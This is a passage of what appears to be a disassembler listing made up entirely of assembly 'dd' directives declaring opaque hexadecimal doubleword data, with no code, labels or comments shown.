8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h, 16C0D848h dd 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h, 681C9D0Bh dd 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh dd 47203Ch, 0F841F940h, 0E8FE0581h, 3AD48200h, 6939FFB8h dd 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h, 0D14020C2h dd 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h, 0EA4714Fh dd 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h dd 92718770h, 8BC09757h, 881EC5h, 66517231h, 0FDC79A5h dd 0CF094F07h, 57D010D5h, 278461h, 7E811575h, 456744A1h dd 37E3C000h, 97173259h, 2B8E0056h, 88723810h, 407CDAF4h dd 915FF800h, 0E1E44D28h dd 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h, 0D64BEB4h dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah dd 7E772700h, 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh dd 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h, 30070E7Eh dd 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h dd 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h dd 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h dd 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah, 7791F073h dd 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h dd 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh dd 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h, 64E00D2Ah dd 5BB35F4h, 8C063757h, 902BC0F0h, 7034612h, 497D834Ah dd 819DE0A5h, 0B1F90017h, 7C660F3Ah, 0E90206BEh, 90109ED3h dd 12FDC071h, 19130052h, 0F2BCED7Dh, 5004672h, 8EACBA66h dd 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h, 0EE000DDEh dd 3E6B322Eh, 74410764h, 132A56D8h, 10B04490h, 503B55Ch dd 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h, 5000CB2Ch dd 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h, 0B400AD4Ah dd 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch, 7FDFEB1Fh dd 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h, 0F207BA5Eh dd 514E444Ch, 342507D0h, 8060094h, 50FE1391h, 205C67FDh dd 575E0011h, 2590E9D6h, 0B47E00E0h, 27E85082h, 0BB019148h dd 9D0EED4Ch, 99F3540Ah, 43FC2B63h, 0DD530F1Fh, 28E7A65Ch dd 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h dd 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h dd 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h dd 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h, 0D79E7323h dd 51D0C8h, 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h dd 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h, 64EBDFDBh dd 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah dd 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh dd 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh dd 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h, 94613Dh dd 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h, 400923AAh dd 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h dd 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h, 0F859F913h dd 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h, 4B6F7181h dd 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h dd 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh dd 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h dd 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh dd 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h, 0D0112CF2h dd 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h, 48901h dd 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh dd 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h dd 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h, 0C80720E9h dd 54046A00h, 37503056h, 0DF442568h, 16245500h, 420099BAh dd 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh, 80102903h dd 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h dd 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh dd 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h dd 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h dd 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h dd 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh dd 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh dd 0A30FE620h, 144D0500h, 24731682h, 2210032h, 774CCE54h dd 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h dd 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh, 1F783352h dd 55007EEBh, 4882694h, 7121179h, 0A2C314A4h, 0FA56F003h dd 4E039FACh, 30E2B810h, 7459D898h, 736B040h, 0C4370E64h dd 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h dd 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h, 1A0C5903h dd 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h dd 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h, 0BB3A00FBh dd 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h dd 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h dd 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h, 4F6100B5h dd 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h, 0E85CB227h dd 45759331h, 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h dd 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh dd 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh dd 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h dd 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h dd 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h dd 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h, 0C0509DA5h dd 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh dd 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h, 2E01A6h dd 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h, 0D0A10013h dd 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh dd 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h, 10680013h dd 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h, 98FAD3h dd 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h, 0DDDB0184h dd 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h, 5212C3Dh dd 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh dd 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h dd 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h dd 9A7E6B7h, 78800498h, 0BE00AA74h, 691B6693h, 168D0034h dd 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h, 331720F3h dd 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h dd 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h dd 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h dd 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h dd 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah, 600F060Bh dd 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh dd 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h dd 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh dd 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h dd 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h dd 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h, 68C1A1E0h dd 0FB0A8058h, 0FC00EA51h dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h, 0F0466909h dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch, 6A0D4680h dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h, 8EEB7C72h dd 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh dd 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h, 2B30487h dd 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h dd 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh dd 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h, 2EAD812h dd 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h, 589C88h dd 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h, 719684FCh dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh, 32E0A95h dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h, 0C0C0BE8Bh dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh, 522D0DD0h dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h, 3430641Dh dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h, 855EA488h dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h, 0B0216ACAh dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h, 0E18A64h dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h dd 0B7500CBh, 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch dd 7C9842h, 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h, 196E4C16h dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh dd 0D11F3Bh, 2D7B5D3Ch, 0E468A3h, 0F8B8292Ah, 8D4C4D2h dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h, 0D925BD38h dd 5A06EC3Dh, 0B60A5Ch, 13406974h, 3D21E992h, 3E7CA84Bh dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh, 5C328085h dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h, 0CA88CABh dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh dd 38E0AC84h, 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h dd 9FC700Ah, 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh, 18BF0372h dd 2C7F40FBh, 9B831F4Ch dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h, 0F3E11CC8h dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h, 6C30BFF3h dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h dd 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh, 0AAC81B1h dd 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h, 6D55AA12h dd 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah dd 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h dd 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h dd 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh, 0E3FE3306h dd 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h, 116049D2h dd 2BB48719h, 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h dd 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh dd 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh, 32DC61h dd 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh, 8BE980E7h dd 0AA040709h, 10F8DC3Bh, 4B735852h, 830E0F98h, 0A01D12FAh dd 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h, 0E03A8889h dd 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh, 4B0D002Dh dd 3DA0F475h, 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h dd 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h, 81891D8Ah dd 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h, 0E9027F76h dd 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h, 1E74D03Ch dd 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch, 0F7CC0784h dd 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h, 5C00041h dd 0EADFC42Bh, 26B8B701h, 0BA402A00h, 0BDE7602h, 1720029Bh dd 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h, 0EB48DBB6h dd 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h, 3600FD20h dd 33C81067h, 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh dd 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h, 0E9EAC1EAh dd 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h, 68C61B28h dd 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh, 591F13F4h dd 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h dd 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h dd 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h dd 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh dd 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h dd 374272Ch, 4D228039h, 103E9620h, 0EF560060h, 648AEDE2h dd 47F1906h, 52450B07h, 0C373020Dh, 3AAC88C0h, 0D0F400C4h dd 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch, 0A1C76630h dd 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h, 3925E430h dd 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah dd 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h, 1EDBFE01h dd 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h, 3E60CB00h dd 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h dd 9C0FFAh, 0FBC1B801h, 589666EBh, 116BEC00h, 2703F80Eh dd 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah dd 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h, 0C20776A2h dd 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h dd 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 270045CEh dd 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h dd 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h dd 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h, 0A4A68146h dd 5ECDE4F9h, 3880500h, 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h dd 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h, 7FD307Ch dd 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h, 0E40FC400h dd 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h, 0DEC16031h dd 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h dd 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h, 0C200AA9Ah dd 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h, 736D3100h dd 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h dd 58227507h, 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh dd 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h dd 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h dd 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h dd 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh dd 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah, 7DDE515h dd 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h dd 712FF83h, 8027730Fh, 351F707Ch, 44E425C6h, 4FE00E00h dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h dd 525F9862h, 7A533530h, 21190325h, 0F150A190h, 77835688h dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h, 5C2C9DAEh dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h, 0F4891BFh dd 82D0EFDh, 81A70064h, 0B6B3DAh, 15730DE0h, 0E0549F2h dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh, 0EBECCC49h dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch dd 0B009873h, 3134C8Dh, 0C61602h, 80D58207h, 0F7D1853Fh dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h, 464E0107h dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h, 0C40027DDh dd 0F03A2CF3h, 0F730Ah, 290DDA26h, 0CE904349h, 53B80600h dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h, 6BE4002Ah dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h dd 0B871F8h, 250E978Ah, 0F0340F4h, 0B67850Fh, 7606A055h dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h, 56520027h dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh, 302F206Eh dd 42E4F178h, 1C0E397Eh dd 0E7760410h, 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h dd 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh dd 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h dd 71060B41h, 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h dd 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h dd 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh dd 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h dd 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h dd 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh dd 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch dd 1F0F5372h, 0CC10E4C6h, 4E0002E0h, 0B8B9D75h, 0E498C985h dd 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch dd 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h dd 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h, 0E9775A35h dd 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h, 0F30C5D70h dd 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h, 